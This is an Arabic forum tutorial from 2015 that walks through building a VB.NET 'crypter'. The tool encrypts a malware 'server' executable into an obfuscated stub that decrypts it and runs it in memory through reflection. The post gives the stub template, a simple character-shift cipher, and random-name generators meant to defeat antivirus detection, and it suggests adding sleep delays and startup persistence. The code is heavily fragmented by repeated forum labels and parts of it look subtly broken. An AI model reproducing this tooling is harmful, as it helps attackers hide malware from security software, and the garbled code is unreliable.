ألسلام عليكم ورحمة الله وبركاته
كيف حالك احبتي _ ماذا تفعلون .
ونمضي قدما للطرح المواضيع التي تخص التشفير وكشف المستور .. لماذا تنتظر احدهم ليعطيك برنامج تشفير جاهز ؟؟ لماذا تتسائل كيف له بكتابه هذا البرنامج ؟؟ مين اتى بهذى الكود ..
حاولت ولم تنجح معي ؟... سنجاوب على جميع الاسأله في سلسله صنع برامج التشفير ..
تعتمد برامج التشفير على نوعان النوع الاول وهو برنامج يقوم بتشفير عن طريق setup في الرسورس
الطريقه الثانيه وهي محور شرحنا لهذا الليوم وهي طريقه التشفير المرئي بالعتماد على اخذ ناتج التشفير من exe وتحويله الى نص جاهز ما عليك سوى عمل بلدر للسيرفر ....
الطريقه ليست بالصعبه هي اسهل مما تتصور بكثير .. لماذا لآنني سأرفق لكم خورزميات تشفر
وتقوم بالتطبيق عليها الخورزميه المستخدمه في الشرح هي من كتابتي الخاصه هي خورزميه بسيطه جدا تحتوي على فنكشن من نوع سترينج ومفتاح تشفير بأسلوب ascii و chr
نبداء بالتطبيق العملي على ما ذكر في فيديو ولن اطرح السورس جاهز حتى اجبر الاغلبيه على كتابه السورس بأنفسهم واعدم الحاجه الى البرامج وتستطيع اضافه اكواد كثيره على البرنامج وذالك بستخدام نفس الطريقه ك sleep و اضافه السيرفر على ستارت اب
هو ليس بلآمر الصعب اتمنى من الجميع اعطاء نتائج جيده
وتستطيع استخدام اي خورزميه بنفس الطريقه دمتم بخير وعلى هذا نمشي على نهج
لا تطعمني السمكه بل علمني كيف اسطادها ...
نقوم بالبدايه بفتح مشروع جديد يحتوي على فورم و زر عدد 2 و 3 textbox بلآضافه على
chekbox 2
كما هو موضح
نقوم بالشغط على الزر الاول ووضع كود جلب مسار الملف المراد تشفيره وعرض المسار في textbox1
- الكود:
-
Dim
- الكود:
-
hazem
- الكود:
-
As
- الكود:
-
New
- الكود:
-
OpenFileDialog
- الكود:
-
With
- الكود:
-
hazem
- الكود:
-
.Filter =
- الكود:
-
"|*.exe"
- الكود:
-
.ShowDialog()
- الكود:
-
End
- الكود:
-
With
- الكود:
-
FlatTextBox1.Text = hazem.FileName
نقوم بستدعا ء الفضاء
كود Visual Basic
?1
2 | - الكود:
-
Imports
- الكود:
-
System.IO - الكود:
-
Imports
- الكود:
-
System.Text |
نقوم بوضع هذا الكود في ملف txt ومن ثم وضعه بالرسورس بأي اسم حتى نستدعيه ونقوم بالتعديل عليه بستبدال المتغيرات وقيم السيرفر المشفر بالخورزميه بالمكان الصحيح للكود وفيه خورزميه فك التشفير التي اعتمدنا عليها وبغض النظر عن هذه الخورزميه تستطيع استخدام اي خورزميه تشفير وناتج الخورزميه في الشرح كلين ..
كود Visual Basic
?1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31 | - الكود:
-
Module
- الكود:
-
%10%
- الكود:
-
Sub
- الكود:
-
main()
- الكود:
-
Dim
- الكود:
-
%11% - الكود:
-
As
- الكود:
-
String
- الكود:
-
= - الكود:
-
"%1%"
- الكود:
-
Dim
- الكود:
-
%4% - الكود:
-
As
- الكود:
-
Byte - الكود:
-
() = Convert.FromBase64String(%3%(%11% , - الكود:
-
"%2%" - الكود:
-
))
- الكود:
-
Dim
- الكود:
-
%5% - الكود:
-
As
- الكود:
-
System.Reflection. - الكود:
-
Assembly
- الكود:
-
= System.Reflection. - الكود:
-
Assembly - الكود:
-
.Load(%4%)
- الكود:
-
%5%.EntryPoint.Invoke( - الكود:
-
Nothing - الكود:
-
, - الكود:
-
Nothing - الكود:
-
)
- الكود:
-
End
- الكود:
-
Sub
- الكود:
-
Public
- الكود:
-
Function
- الكود:
-
%3%(%6% - الكود:
-
As
- الكود:
-
String - الكود:
-
, - الكود:
-
ByVal
- الكود:
-
%7% - الكود:
-
As
- الكود:
-
String - الكود:
-
) - الكود:
-
As
- الكود:
-
String
- الكود:
-
On
- الكود:
-
Error
- الكود:
-
Resume
- الكود:
-
Next
- الكود:
-
Dim
- الكود:
-
i, %8%, %9% - الكود:
-
As
- الكود:
-
Integer
- الكود:
-
For
- الكود:
-
i = 1 - الكود:
-
To
- الكود:
-
Len(%7%)
- الكود:
-
%8% = %8% + Asc(Mid(%7%, i, i-1))
- الكود:
-
Next
- الكود:
-
i
- الكود:
-
For
- الكود:
-
i = 1 - الكود:
-
To
- الكود:
-
Len(%6%)
- الكود:
-
%9% = Asc(Mid(%6%, i, i-1)) - %8% - الكود:
-
Mod
- الكود:
-
255
- الكود:
-
%3% = %3% & Chr(%9%)
- الكود:
-
Next
- الكود:
-
i
- الكود:
-
End
- الكود:
-
Function - الكود:
-
End
- الكود:
-
Module |
نقوم الان بتضغط على زر 2 وهو الزر الخاص بالتشفير ووضع هذا الكود عليه وهو عباره عن
تحويل تحويل ملف الموجود بالمسار txtbox1 الى قيم Base64String ومن ثم استخدام خورزميه التشفير بتحويل قيم ال Base64String الى احرف مشفره بمفتاح الذي تضعه في textbox3 وهي عباره عن ارقام لا تتجاوز 97 رقم على قاعده acsii طبعا لكل خورزميه طريقه بالأستخدام ومن ثم نقوم بستبدال المتغيرات في تكست رسورس بألقيم المشفره
وعرض الناتج في RichTextBox لماذا اخترنا RichTextBox ببساطه لآن RichTextBox يحمل عدد احرف 2147483647 حتى اذا كان السيرفر كبير يستطيع عرض كل القيم علما أن textbox لا يعرض اكثر من 32767 وهذا امور يقع بها البعض في التشفير ولتجاوز الخطاء نستخدمRichTextBox لعرض القيم المشفره ...
بعد ذالك نستخدم كود توليد الاحرف العشواءيه للمتغيرات الفنكسن والسب وذالك يساعد على تمويه بعض الحمايات والقضاء عليها
كود Visual Basic
?1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45 | - الكود:
-
If
- الكود:
-
FlatCheckBox2.Checked - الكود:
-
Then
- الكود:
-
Dim
- الكود:
-
sam - الكود:
-
As
- الكود:
-
String
- الكود:
-
= Convert.ToBase64String(IO.File.ReadAllBytes(FlatTextBox1.Text))
- الكود:
-
Dim
- الكود:
-
sam1 - الكود:
-
As
- الكود:
-
String
- الكود:
-
= haz(sam, FlatTextBox2.Text)
- الكود:
-
Dim
- الكود:
-
sam3 - الكود:
-
As
- الكود:
-
String
- الكود:
-
= My.Resources.hazem
- الكود:
-
Dim
- الكود:
-
sam4 - الكود:
-
As
- الكود:
-
String
- الكود:
-
sam4 = sam3.Replace( - الكود:
-
"%1%" - الكود:
-
, sam1).Replace( - الكود:
-
"%2%" - الكود:
-
, FlatTextBox2.Text).Replace( - الكود:
-
"%3%" - الكود:
-
, cc(4)).Replace( - الكود:
-
"%5%" - الكود:
-
, cc(8)).Replace( - الكود:
-
"%6%" - الكود:
-
, cc(10)).Replace( - الكود:
-
"%7%" - الكود:
-
, cc(12)).Replace( - الكود:
-
"%8%" - الكود:
-
, cc(14)).Replace( - الكود:
-
"%9%" - الكود:
-
, cc(16)).Replace( - الكود:
-
"%10%" - الكود:
-
, cc(18)).Replace( - الكود:
-
"%4%" - الكود:
-
, cc(20)).Replace( - الكود:
-
"%11%" - الكود:
-
, cc(22))
- الكود:
-
r1.Text = sam4
- الكود:
-
End
- الكود:
-
If
- الكود:
-
If
- الكود:
-
FlatCheckBox1.Checked - الكود:
-
Then
- الكود:
-
If
- الكود:
-
FlatCheckBox1.Checked - الكود:
-
Then
- الكود:
-
Dim
- الكود:
-
sam - الكود:
-
As
- الكود:
-
String
- الكود:
-
= Convert.ToBase64String(IO.File.ReadAllBytes(FlatTextBox1.Text))
- الكود:
-
Dim
- الكود:
-
sam1 - الكود:
-
As
- الكود:
-
String
- الكود:
-
= haz(sam, FlatTextBox2.Text)
- الكود:
-
Dim
- الكود:
-
sam3 - الكود:
-
As
- الكود:
-
String
- الكود:
-
= My.Resources.hazem
- الكود:
-
Dim
- الكود:
-
sam4 - الكود:
-
As
- الكود:
-
String
- الكود:
-
sam4 = sam3.Replace( - الكود:
-
"%1%" - الكود:
-
, sam1).Replace( - الكود:
-
"%2%" - الكود:
-
, FlatTextBox2.Text).Replace( - الكود:
-
"%3%" - الكود:
-
, dd(4)).Replace( - الكود:
-
"%5%" - الكود:
-
, dd(8)).Replace( - الكود:
-
"%6%" - الكود:
-
, dd(10)).Replace( - الكود:
-
"%7%" - الكود:
-
, dd(12)).Replace( - الكود:
-
"%8%" - الكود:
-
, dd(14)).Replace( - الكود:
-
"%9%" - الكود:
-
, dd(16)).Replace( - الكود:
-
"%10%" - الكود:
-
, dd(18)).Replace( - الكود:
-
"%4%" - الكود:
-
, dd(20)).Replace( - الكود:
-
"%11%" - الكود:
-
, dd(22))
- الكود:
-
r1.Text = sam4
- الكود:
-
End
- الكود:
-
If
- الكود:
-
End
- الكود:
-
If
- الكود:
-
End
- الكود:
-
Sub |
ملاحظه قما بوضع كود التشفير ب If CheckBox1.Checked Then حتى نقوم بفصل قيم المتغيرات المشفره ب كود توليد من احرف مختلفه وهذه مفيده
كود التوليد معروف للجميع
كود Visual Basic
?1
2
3
4
5
6
7
8
9
10
11 | - الكود:
-
Public
- الكود:
-
Function
- الكود:
-
cc( - الكود:
-
ByVal
- الكود:
-
len - الكود:
-
As
- الكود:
-
Long - الكود:
-
)
- الكود:
-
Dim
- الكود:
-
rnd - الكود:
-
As
- الكود:
-
New
- الكود:
-
Random
- الكود:
-
Dim
- الكود:
-
arb - الكود:
-
As
- الكود:
-
String
- الكود:
-
= - الكود:
-
"dGkjBoOiIuUhHgGyYrRnMkLlKUeEwWqQvVcCnNxXzZmM"
- الكود:
-
Dim
- الكود:
-
result - الكود:
-
As
- الكود:
-
String
- الكود:
-
= - الكود:
-
Nothing
- الكود:
-
For
- الكود:
-
i = 0 - الكود:
-
To
- الكود:
-
len
- الكود:
-
result = result & arb(rnd. - الكود:
-
Next - الكود:
-
(arb.Length))
- الكود:
-
Next
- الكود:
-
Return
- الكود:
-
result
- الكود:
-
End
- الكود:
-
Function |
كود خورزميه التشفير داخل المشورع وفك التشفيير تكون في التكست رسورس لآننا سوف تقوم بفك التشفير عند تشغيل السيرفر في الذاكره ولا يجوز استخدامها في مشروع السيرفر
كود Visual Basic
?1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27 | - الكود:
-
Public
- الكود:
-
Function
- الكود:
-
haz(data - الكود:
-
As
- الكود:
-
String - الكود:
-
, - الكود:
-
ByVal
- الكود:
-
kye - الكود:
-
As
- الكود:
-
String - الكود:
-
) - الكود:
-
As
- الكود:
-
String
- الكود:
-
On
- الكود:
-
Error
- الكود:
-
Resume
- الكود:
-
Next
- الكود:
-
Dim
- الكود:
-
i, ikey, idata - الكود:
-
As
- الكود:
-
Integer
- الكود:
-
For
- الكود:
-
i = 1 - الكود:
-
To
- الكود:
-
Len(kye)
- الكود:
-
ikey = ikey + Asc(Mid(kye, i, i + 1))
- الكود:
-
Next
- الكود:
-
i
- الكود:
-
For
- الكود:
-
i = 1 - الكود:
-
To
- الكود:
-
Len(data)
- الكود:
-
idata = Asc(Mid(data, i, i + 1)) + ikey - الكود:
-
Mod
- الكود:
-
255
- الكود:
-
haz = haz & Chr(idata)
- الكود:
-
Next
- الكود:
-
i
- الكود:
-
End
- الكود:
-
Function |
وبعد اكتماب البرنامج سوف يظهر على النحور التاليكود Visual Basic
?1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150 | - الكود:
-
Imports
- الكود:
-
System.IO - الكود:
-
Imports
- الكود:
-
System.Text
- الكود:
-
Public
- الكود:
-
Class
- الكود:
-
Form1
- الكود:
-
Private
- الكود:
-
Sub
- الكود:
-
FlatButton1_Click(sender - الكود:
-
As
- الكود:
-
Object - الكود:
-
, e - الكود:
-
As
- الكود:
-
EventArgs) - الكود:
-
Handles
- الكود:
-
FlatButton1.Click
- الكود:
-
If
- الكود:
-
FlatCheckBox2.Checked - الكود:
-
Then
- الكود:
-
Dim
- الكود:
-
sam - الكود:
-
As
- الكود:
-
String
- الكود:
-
= Convert.ToBase64String(IO.File.ReadAllBytes(FlatTextBox1.Text))
- الكود:
-
Dim
- الكود:
-
sam1 - الكود:
-
As
- الكود:
-
String
- الكود:
-
= haz(sam, FlatTextBox2.Text)
- الكود:
-
Dim
- الكود:
-
sam3 - الكود:
-
As
- الكود:
-
String
- الكود:
-
= My.Resources.hazem
- الكود:
-
Dim
- الكود:
-
sam4 - الكود:
-
As
- الكود:
-
String
- الكود:
-
sam4 = sam3.Replace( - الكود:
-
"%1%" - الكود:
-
, sam1).Replace( - الكود:
-
"%2%" - الكود:
-
, FlatTextBox2.Text).Replace( - الكود:
-
"%3%" - الكود:
-
, cc(4)).Replace( - الكود:
-
"%5%" - الكود:
-
, cc(8)).Replace( - الكود:
-
"%6%" - الكود:
-
, cc(10)).Replace( - الكود:
-
"%7%" - الكود:
-
, cc(12)).Replace( - الكود:
-
"%8%" - الكود:
-
, cc(14)).Replace( - الكود:
-
"%9%" - الكود:
-
, cc(16)).Replace( - الكود:
-
"%10%" - الكود:
-
, cc(18)).Replace( - الكود:
-
"%4%" - الكود:
-
, cc(20)).Replace( - الكود:
-
"%11%" - الكود:
-
, cc(22))
- الكود:
-
r1.Text = sam4
- الكود:
-
End
- الكود:
-
If
- الكود:
-
If
- الكود:
-
FlatCheckBox1.Checked - الكود:
-
Then
- الكود:
-
If
- الكود:
-
FlatCheckBox1.Checked - الكود:
-
Then
- الكود:
-
Dim
- الكود:
-
sam - الكود:
-
As
- الكود:
-
String
- الكود:
-
= Convert.ToBase64String(IO.File.ReadAllBytes(FlatTextBox1.Text))
- الكود:
-
Dim
- الكود:
-
sam1 - الكود:
-
As
- الكود:
-
String
- الكود:
-
= haz(sam, FlatTextBox2.Text)
- الكود:
-
Dim
- الكود:
-
sam3 - الكود:
-
As
- الكود:
-
String
- الكود:
-
= My.Resources.hazem
- الكود:
-
Dim
- الكود:
-
sam4 - الكود:
-
As
- الكود:
-
String
- الكود:
-
sam4 = sam3.Replace( - الكود:
-
"%1%" - الكود:
-
, sam1).Replace( - الكود:
-
"%2%" - الكود:
-
, FlatTextBox2.Text).Replace( - الكود:
-
"%3%" - الكود:
-
, dd(4)).Replace( - الكود:
-
"%5%" - الكود:
-
, dd(8)).Replace( - الكود:
-
"%6%" - الكود:
-
, dd(10)).Replace( - الكود:
-
"%7%" - الكود:
-
, dd(12)).Replace( - الكود:
-
"%8%" - الكود:
-
, dd(14)).Replace( - الكود:
-
"%9%" - الكود:
-
, dd(16)).Replace( - الكود:
-
"%10%" - الكود:
-
, dd(18)).Replace( - الكود:
-
"%4%" - الكود:
-
, dd(20)).Replace( - الكود:
-
"%11%" - الكود:
-
, dd(22))
- الكود:
-
r1.Text = sam4
- الكود:
-
End
- الكود:
-
If
- الكود:
-
End
- الكود:
-
If
- الكود:
-
End
- الكود:
-
Sub
- الكود:
-
Public
- الكود:
-
Function
- الكود:
-
cc( - الكود:
-
ByVal
- الكود:
-
len - الكود:
-
As
- الكود:
-
Long - الكود:
-
)
- الكود:
-
Dim
- الكود:
-
rnd - الكود:
-
As
- الكود:
-
New
- الكود:
-
Random
- الكود:
-
Dim
- الكود:
-
arb - الكود:
-
As
- الكود:
-
String
- الكود:
-
= - الكود:
-
"dGkjBoOiIuUhHgGyYrRnMkLlKUeEwWqQvVcCnNxXzZmM"
- الكود:
-
Dim
- الكود:
-
result - الكود:
-
As
- الكود:
-
String
- الكود:
-
= - الكود:
-
Nothing
- الكود:
-
For
- الكود:
-
i = 0 - الكود:
-
To
- الكود:
-
len
- الكود:
-
result = result & arb(rnd. - الكود:
-
Next - الكود:
-
(arb.Length))
- الكود:
-
Next
- الكود:
-
Return
- الكود:
-
result
- الكود:
-
End
- الكود:
-
Function
- الكود:
-
Public
- الكود:
-
Function
- الكود:
-
dd( - الكود:
-
ByVal
- الكود:
-
len - الكود:
-
As
- الكود:
-
Long - الكود:
-
)
- الكود:
-
Dim
- الكود:
-
rnd - الكود:
-
As
- الكود:
-
New
- الكود:
-
Random
- الكود:
-
Dim
- الكود:
-
arb - الكود:
-
As
- الكود:
-
String
- الكود:
-
= - الكود:
-
"好裡的你弟的去我去你愛好嗎你兄孩去我兄的去弟好哪孩弟的親親哪我裡的哪去好好我去好的的的弟男你哪裡孩兄裡你的好哪好哪去哪弟你好的兄男你嗎的男男男你弟男你男好好孩愛愛你孩愛兄你的孩弟裡的"
- الكود:
-
Dim
- الكود:
-
result - الكود:
-
As
- الكود:
-
String
- الكود:
-
= - الكود:
-
Nothing
- الكود:
-
For
- الكود:
-
i = 0 - الكود:
-
To
- الكود:
-
len
- الكود:
-
result = result & arb(rnd. - الكود:
-
Next - الكود:
-
(arb.Length))
- الكود:
-
Next
- الكود:
-
Return
- الكود:
-
result
- الكود:
-
End
- الكود:
-
Function
- الكود:
-
Public
- الكود:
-
Function
- الكود:
-
haz(data - الكود:
-
As
- الكود:
-
String - الكود:
-
, - الكود:
-
ByVal
- الكود:
-
kye - الكود:
-
As
- الكود:
-
String - الكود:
-
) - الكود:
-
As
- الكود:
-
String
- الكود:
-
On
- الكود:
-
Error
- الكود:
-
Resume
- الكود:
-
Next
- الكود:
-
Dim
- الكود:
-
i, ikey, idata - الكود:
-
As
- الكود:
-
Integer
- الكود:
-
For
- الكود:
-
i = 1 - الكود:
-
To
- الكود:
-
Len(kye)
- الكود:
-
ikey = ikey + Asc(Mid(kye, i, i + 1))
- الكود:
-
Next
- الكود:
-
i
- الكود:
-
For
- الكود:
-
i = 1 - الكود:
-
To
- الكود:
-
Len(data)
- الكود:
-
idata = Asc(Mid(data, i, i + 1)) + ikey - الكود:
-
Mod
- الكود:
-
255
- الكود:
-
haz = haz & Chr(idata)
- الكود:
-
Next
- الكود:
-
i
- الكود:
-
End
- الكود:
-
Function
- الكود:
-
Private
- الكود:
-
Sub
- الكود:
-
FlatClose1_Click(sender - الكود:
-
As
- الكود:
-
Object - الكود:
-
, e - الكود:
-
As
- الكود:
-
EventArgs) - الكود:
-
Handles
- الكود:
-
FlatClose1.Click
- الكود:
-
Me - الكود:
-
.Close()
- الكود:
-
End
- الكود:
-
Sub
- الكود:
-
Private
- الكود:
-
Sub
- الكود:
-
FlatButton2_Click(sender - الكود:
-
As
- الكود:
-
Object - الكود:
-
, e - الكود:
-
As
- الكود:
-
EventArgs) - الكود:
-
Handles
- الكود:
-
FlatButton2.Click
- الكود:
-
Dim
- الكود:
-
hazem - الكود:
-
As
- الكود:
-
New
- الكود:
-
OpenFileDialog
- الكود:
-
With
- الكود:
-
hazem
- الكود:
-
.Filter = - الكود:
-
"|*.exe"
- الكود:
-
.ShowDialog()
- الكود:
-
End
- الكود:
-
With
- الكود:
-
FlatTextBox1.Text = hazem.FileName
- الكود:
-
End
- الكود:
-
Sub
- الكود:
-
Private
- الكود:
-
Sub
- الكود:
-
FlatLabel1_Click(sender - الكود:
-
As
- الكود:
-
Object - الكود:
-
, e - الكود:
-
As
- الكود:
-
EventArgs) - الكود:
-
Handles
- الكود:
-
FlatLabel1.Click
- الكود:
-
End
- الكود:
-
Sub
- الكود:
-
Private
- الكود:
-
Sub
- الكود:
-
FormSkin1_Click(sender - الكود:
-
As
- الكود:
-
Object - الكود:
-
, e - الكود:
-
As
- الكود:
-
EventArgs) - الكود:
-
Handles
- الكود:
-
FormSkin1.Click
- الكود:
-
End
- الكود:
-
Sub
- الكود:
-
Private
- الكود:
-
Sub
- الكود:
-
FlatButton3_Click(sender - الكود:
-
As
- الكود:
-
Object - الكود:
-
, e - الكود:
-
As
- الكود:
-
EventArgs) - الكود:
-
Handles
- الكود:
-
FlatButton3.Click
- الكود:
-
r1.SelectAll()
- الكود:
-
r1.Copy()
- الكود:
-
FlatLabel2.Text = - الكود:
-
"Copies have been successfully"
- الكود:
-
End
- الكود:
-
Sub
- الكود:
-
Private
- الكود:
-
Sub
- الكود:
-
FlatButton1_Click_1(sender - الكود:
-
As
- الكود:
-
Object - الكود:
-
, e - الكود:
-
As
- الكود:
-
EventArgs) - الكود:
-
Handles
- الكود:
-
FlatButton1.Click
- الكود:
-
End
- الكود:
-
Sub
- الكود:
-
Private
- الكود:
-
Sub
- الكود:
-
FlatButton1_Click_2(sender - الكود:
-
As
- الكود:
-
Object - الكود:
-
, e - الكود:
-
As
- الكود:
-
EventArgs) - الكود:
-
Handles
- الكود:
-
FlatButton1.Click
- الكود:
-
End
- الكود:
-
Sub
- الكود:
-
Private
- الكود:
-
Sub
- الكود:
-
FlatButton2_Click_1(sender - الكود:
-
As
- الكود:
-
Object - الكود:
-
, e - الكود:
-
As
- الكود:
-
EventArgs) - الكود:
-
Handles
- الكود:
-
FlatButton2.Click
- الكود:
-
End
- الكود:
-
Sub - الكود:
-
End
- الكود:
-
Class |
صوره من البرنامج
 | تم تصغير حجم الصورة تلقائياً لسهولة التصفّح , اضغط هنا لمشاهدتها بالحجم الطبيعي 1220x693. |
المشروع لمن يريد البرنامج جاهز والتعرف على الكود كامل مع الثيم
دمتم بخير والسلام عليكم ورحمه الله الموضوع اهداء الى جميع من شارك في الموضوع اتقبل اي نقد بناء سلام
كتابه برنامج تشفير خاص بك بخورزمية جديده (اعتمد على نفسك ) بالشرح المفصل
السبت سبتمبر 05, 2015 11:26 am
موضوع: كتابه برنامج تشفير خاص بك بخورزمية جديده (اعتمد على نفسك ) بالشرح المفصل 
